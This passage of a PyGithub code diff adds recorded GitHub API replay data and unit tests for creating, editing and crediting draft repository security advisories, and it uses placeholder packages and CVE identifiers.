strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF8:5FB9:2ABAED:57389B:642C2A7A')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:47:38Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"},{"cwe_id":"CWE-500","name":"Public Static Field Not Marked Final"}],"cwe_ids":["CWE-402","CWE-500"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt b/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt new file mode 100644 index 00000000..096e6b00 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt @@ -0,0 +1,33 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '61'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9C:448A:546D93:AC9E31:642C4910')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test editing a GHSA via the API with only a single manipulation", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4114'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a31f5441d8aa781166a22f0d05ea0ec8dc70e6456ff0225df5df9c0333f4bc42"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '62'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DC9D:0C65:163092:2D54B9:642C4911')] +{"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"description": "A modified description"} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fef308c476647908c463eda6f0aa4fe2a8f8d6f4ce1d2c6876117950e09c7ac0"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4937'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '63'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9E:51F2:5A8119:B88754:642C4911')] +{"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"A modified description","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + diff --git a/tests/RepositoryAdvisory.py b/tests/RepositoryAdvisory.py new file mode 100644 index 00000000..8c002b18 --- /dev/null +++ b/tests/RepositoryAdvisory.py @@ -0,0 +1,358 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Jonathan Leitschuh # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +import datetime + +import github.RepositoryAdvisory + +from . import Framework + + +class RepositoryAdvisory(Framework.TestCase): + advisory: github.RepositoryAdvisory.RepositoryAdvisory + + def setUp(self): + super().setUp() + self.repo = self.g.get_user().get_repo("security-research") + self.advisory = self.repo.get_repository_advisory("GHSA-wmmh-r9w4-hpxx") + self.advisory.clear_credits() + self.advisory.offer_credit("octocat", "analyst") + + def testAttributes(self): + self.assertEqual(self.advisory.author.login, "JLLeitschuh") + self.assertEqual(self.advisory.closed_at, None) + self.assertEqual( + self.advisory.created_at, datetime.datetime(2023, 3, 28, 21, 41, 40) + ) + self.assertListKeyEqual( + self.advisory.credits, lambda e: (e.login, e.type), [("octocat", "analyst")] + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst")], + ) + self.assertEqual(self.advisory.cve_id, "CVE-2023-00000") + self.assertListEqual(self.advisory.cwe_ids, ["CWE-400", "CWE-501"]) + self.assertListKeyEqual( + self.advisory.cwes, + lambda e: (e.cwe_id, e.name), + [ + ("CWE-400", "Uncontrolled Resource Consumption"), + ("CWE-501", "Trust Boundary Violation"), + ], + ) + self.assertEqual( + self.advisory.description, + "This is a detailed description of this advisories impact and patches.", + ) + self.assertEqual(self.advisory.ghsa_id, "GHSA-wmmh-r9w4-hpxx") + self.assertEqual( + self.advisory.html_url, + "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", + ) + self.assertEqual(self.advisory.published_at, None) + self.assertEqual(self.advisory.severity, "high") + self.assertEqual(self.advisory.state, "draft") + self.assertEqual(self.advisory.summary, "A test creating a GHSA via the API") + self.assertEqual( + self.advisory.updated_at, datetime.datetime(2023, 3, 30, 19, 31, 33) + ) + self.assertEqual( + self.advisory.url, + "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", + ) + self.assertListKeyEqual( + self.advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "a-package"), "1.0.5", ["function-name"], ">= 1.0.2")], + ) + self.assertEqual(self.advisory.withdrawn_at, None) + + def testRemoveCredit(self): + self.advisory.revoke_credit("octocat") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: e.login, + [], + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: e.user.login, + [], + ) + + def testOfferCredit(self): + self.advisory.offer_credit("JLLeitschuh", "reporter") + self.assertListKeyEqual( + self.advisory.credits, + lambda e: e.login, + ["octocat", "JLLeitschuh"], + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: e.user.login, + ["octocat", "JLLeitschuh"], + ) + + def testOfferCredits(self): + self.advisory.clear_credits() + self.advisory.offer_credits( + [ + {"login": "octocat", "type": "sponsor"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ] + ) + self.assertListKeyEqual( + self.advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], + ) + + def testRepositoryWithNoAdvisories(self): + repo = self.g.get_user().get_repo("PyGithub") + self.assertListKeyEqual( + repo.get_repository_advisories(), + lambda e: e.ghsa_id, + [], + ) + + def testGetAdvisories(self): + self.assertListKeyEqual( + self.repo.get_repository_advisories(), + lambda e: e.ghsa_id, + [ + "GHSA-wmmh-r9w4-hpxx", + "GHSA-wvgm-59wj-rh8h", + "GHSA-22cq-8f5q-p5g2", + "GHSA-7hfp-mpq6-2jhf", + "GHSA-hfmw-fx2m-jj4c", + "GHSA-rvp4-r3g6-8hxq", + "GHSA-cm59-pr5q-cw85", + "GHSA-vpcc-9rh2-8jfp", + "GHSA-7fjx-657r-9r5h", + "GHSA-22c6-wcjm-qfjg", + "GHSA-5w9v-8x7x-rfqm", + "GHSA-2r85-x9cf-8fcg", + "GHSA-6m9h-r5m3-9r7f", + "GHSA-f4jh-ww96-9h9j", + "GHSA-j83w-7qr9-wv86", + "GHSA-7gf3-89f6-823j", + "GHSA-jpcm-4485-69p7", + ], + ) + + def testCreateRepositoryAdvisory(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + "A test creating a GHSA via the API", + "This is a detailed description of this advisories impact and patches.", + "high", + "CVE-2000-00000", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "b-package"}, + "vulnerable_version_range": "<=4.0.4", + "patched_versions": "4.0.5", + "vulnerable_functions": ["function-name"], + } + ], + cwe_ids=["CWE-401", "CWE-502"], + credits=[ + {"login": "octocat", "type": "analyst"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") + self.assertEqual(advisory.summary, "A test creating a GHSA via the API") + self.assertEqual( + advisory.description, + "This is a detailed description of this advisories impact and patches.", + ) + self.assertEqual(advisory.severity, "high") + self.assertEqual(advisory.cve_id, "CVE-2000-00000") + self.assertListKeyEqual( + 